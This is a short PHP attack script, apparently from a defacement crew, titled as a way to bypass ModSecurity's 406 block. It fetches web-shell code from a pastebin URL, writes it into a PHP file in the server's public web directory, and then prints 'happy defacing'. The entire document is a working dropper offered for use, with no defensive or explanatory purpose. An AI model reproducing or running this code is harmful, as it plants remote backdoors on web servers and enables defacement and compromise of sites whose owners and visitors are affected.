BYPASS MODSECURITY 406 NOT ACCEPTABLE

/*Achon666ju5t - Extreme Crew */
<?php
echo "CWD => ". getcwd();
?>
<br><br>
<?php
error_reporting(0);

$li=file_get_contents("https://pastebin.com/raw/Xmx5wJCy");  //file txt berisi code shell
$nf=fopen("/home/user/public_html/3xcr3w.php",'w');  //current dir - namashell.php
$yes=fwrite($nf,$li);
if($yes)
{
echo "<br>happy defacing ^_^ ";
}
else {
echo "want more bypass? click <a href='https://google.com/search?q=bypass+mod+security+406'> here";

}

?>